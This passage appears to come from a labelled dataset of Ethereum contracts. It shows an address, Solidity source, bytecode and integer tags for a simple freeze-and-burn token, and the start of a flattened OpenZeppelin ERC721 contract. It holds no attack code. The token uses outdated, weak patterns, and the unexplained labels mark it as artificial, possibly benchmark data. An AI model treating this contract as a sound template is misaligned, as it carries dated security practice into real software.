f10611ab857805160ff1916838001178555611ae5565b82800160010185558215611ae5579182015b82811115611ae5578251825591602001919060010190611aca565b50611af1929150611af5565b5090565b5b80821115611af15760008155600101611af656fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77436f6e747261637420696e7374616e63652068617320616c7265616479206265656e20696e697469616c697a6564a2646970667358221220ec11383a89e49294002e163519a841b0f6f4221627515a3cd00120c44fd1d49b64736f6c634300060c0033
[ 0, 4, 7, 37, 15, 9, 12, 32, 16, 22, 5, 2 ]
0xf22c54b53c8a4c5e986663de601a2b7702964393
pragma solidity ^0.4.8; /** * Math operations with safety checks */ contract SafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } } contract LUCACTTT is SafeMath{ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; address public owner; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => uint256) public freezeOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint256 value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint256 value); /* Initializes contract with initial supply tokens to the creator of the contract */ /*function LUCACTTT*/ constructor(uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol) public { balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens totalSupply = initialSupply; // Update total supply name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes owner = msg.sender; } /* Send coins */ function transfer(address _to, uint256 _value) public { if (_to == 0x0) revert();//throw; // Prevent transfer to 0x0 address. Use burn() instead if (_value <= 0) revert();//throw; if (balanceOf[msg.sender] < _value) revert();//throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) revert();//throw; // Check for overflows balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) public returns (bool success) { if (_value <= 0) revert();//throw; allowance[msg.sender][_spender] = _value; return true; } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { if (_to == 0x0) revert();//throw; // Prevent transfer to 0x0 address. Use burn() instead if (_value <= 0) revert();//throw; if (balanceOf[_from] < _value) revert();//throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) revert();//throw; // Check for overflows if (_value > allowance[_from][msg.sender]) revert();//throw; // Check allowance balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); emit Transfer(_from, _to, _value); return true; } function burn(uint256 _value) public returns (bool success) { if (balanceOf[msg.sender] < _value) revert();//throw; // Check if the sender has enough if (_value <= 0) revert();//throw; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender totalSupply = SafeMath.safeSub(totalSupply,_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } function freeze(uint256 _value) public returns (bool success) { if (balanceOf[msg.sender] < _value) revert();//throw; // Check if the sender has enough if (_value <= 0) revert();//throw; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); // Updates totalSupply emit Freeze(msg.sender, _value); return true; } function unfreeze(uint256 _value) public returns (bool success) { if (freezeOf[msg.sender] < _value) revert();//throw; // Check if the sender has enough if (_value <= 0) revert();//throw; freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); // Subtract from the sender balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value); emit Unfreeze(msg.sender, _value); return true; } // transfer balance to owner function withdrawEther(uint256 amount) public { if(msg.sender != owner) revert();//throw; owner.transfer(amount); } // can accept ether function() public payable { } }
0x6080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100dc578063095ea7b31461016657806318160ddd1461019e57806323b872dd146101c5578063313ce567146101ef5780633bed33ce1461021a57806342966c68146102325780636623fc461461024a57806370a08231146102625780638da5cb5b1461028357806395d89b41146102b4578063a9059cbb146102c9578063cd4217c1146102ed578063d7a78db81461030e578063dd62ed3e14610326575b005b3480156100e857600080fd5b506100f161034d565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012b578181015183820152602001610113565b50505050905090810190601f1680156101585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017257600080fd5b5061018a600160a060020a03600435166024356103db565b604080519115158252519081900360200190f35b3480156101aa57600080fd5b506101b3610417565b60408051918252519081900360200190f35b3480156101d157600080fd5b5061018a600160a060020a036004358116906024351660443561041d565b3480156101fb57600080fd5b506102046105b8565b6040805160ff9092168252519081900360200190f35b34801561022657600080fd5b506100da6004356105c1565b34801561023e57600080fd5b5061018a600435610616565b34801561025657600080fd5b5061018a6004356106b7565b34801561026e57600080fd5b506101b3600160a060020a0360043516610771565b34801561028f57600080fd5b50610298610783565b60408051600160a060020a039092168252519081900360200190f35b3480156102c057600080fd5b506100f1610792565b3480156102d557600080fd5b506100da600160a060020a03600435166024356107ec565b3480156102f957600080fd5b506101b3600160a060020a03600435166108f0565b34801561031a57600080fd5b5061018a600435610902565b34801561033257600080fd5b506101b3600160a060020a03600435811690602435166109bc565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103d35780601f106103a8576101008083540402835291602001916103d3565b820191906000526020600020905b8154815290600101906020018083116103b657829003601f168201915b505050505081565b60008082116103e957600080fd5b50336000908152600760209081526040808320600160a060020a039590951683529390529190912055600190565b60035481565b6000600160a060020a038316151561043457600080fd5b6000821161044157600080fd5b600160a060020a03841660009081526005602052604090205482111561046657600080fd5b600160a060020a038316600090815260056020526040902054828101101561048d57600080fd5b600160a060020a03841660009081526007602090815260408083203384529091529020548211156104bd57600080fd5b600160a060020a0384166000908152600560205260409020546104e090836109d9565b600160a060020a03808616600090815260056020526040808220939093559085168152205461050f90836109eb565b600160a060020a03808516600090815260056020908152604080832094909455918716815260078252828120338252909152205461054d90836109d9565b600160a060020a03808616600081815260076020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60025460ff1681565b600454600160a060020a031633146105d857600080fd5b600454604051600160a060020a039091169082156108fc029083906000818181858888f19350505050158015610612573d6000803e3d6000fd5b5050565b3360009081526005602052604081205482111561063257600080fd5b6000821161063f57600080fd5b3360009081526005602052604090205461065990836109d9565b3360009081526005602052604090205560035461067690836109d9565b60035560408051838152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2506001919050565b336000908152600660205260408120548211156106d357600080fd5b600082116106e057600080fd5b336000908152600660205260409020546106fa90836109d9565b3360009081526006602090815260408083209390935560059052205461072090836109eb565b33600081815260056020908152604091829020939093558051858152905191927f2cfce4af01bcb9d6cf6c84ee1b7c491100b8695368264146a94d71e10a63083f92918290030190a2506001919050565b60056020526000908152604090205481565b600454600160a060020a031681565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103d35780601f106103a8576101008083540402835291602001916103d3565b600160a060020a038216151561080157600080fd5b6000811161080e57600080fd5b3360009081526005602052604090205481111561082a57600080fd5b600160a060020a038216600090815260056020526040902054818101101561085157600080fd5b3360009081526005602052604090205461086b90826109d9565b3360009081526005602052604080822092909255600160a060020a0384168152205461089790826109eb565b600160a060020a0383166000818152600560209081526040918290209390935580518481529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b60066020526000908152604090205481565b3360009081526005602052604081205482111561091e57600080fd5b6000821161092b57600080fd5b3360009081526005602052604090205461094590836109d9565b3360009081526005602090815260408083209390935560069052205461096b90836109eb565b33600081815260066020908152604091829020939093558051858152905191927ff97a274face0b5517365ad396b1fdba6f68bd3135ef603e44272adba3af5a1e092918290030190a2506001919050565b600760209081526000928352604080842090915290825290205481565b6000828211156109e557fe5b50900390565b6000828201838110801590610a005750828110155b1515610a0857fe5b93925050505600a165627a7a7230582024fbd70bf32239dcd0e25718b3e4e8c92af88dddba876dbaed970e7f1772d7850029
[ 17 ]
0xF22d64F31B312a64C900Dd6fB30b31711c463132
/** *Submitted for verification at Etherscan.io on 2021-08-31 */ /** *Submitted for verification at Etherscan.io on 2021-08-29 */ // File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/introspection/IERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File: @openzeppelin/contracts/introspection/ERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function 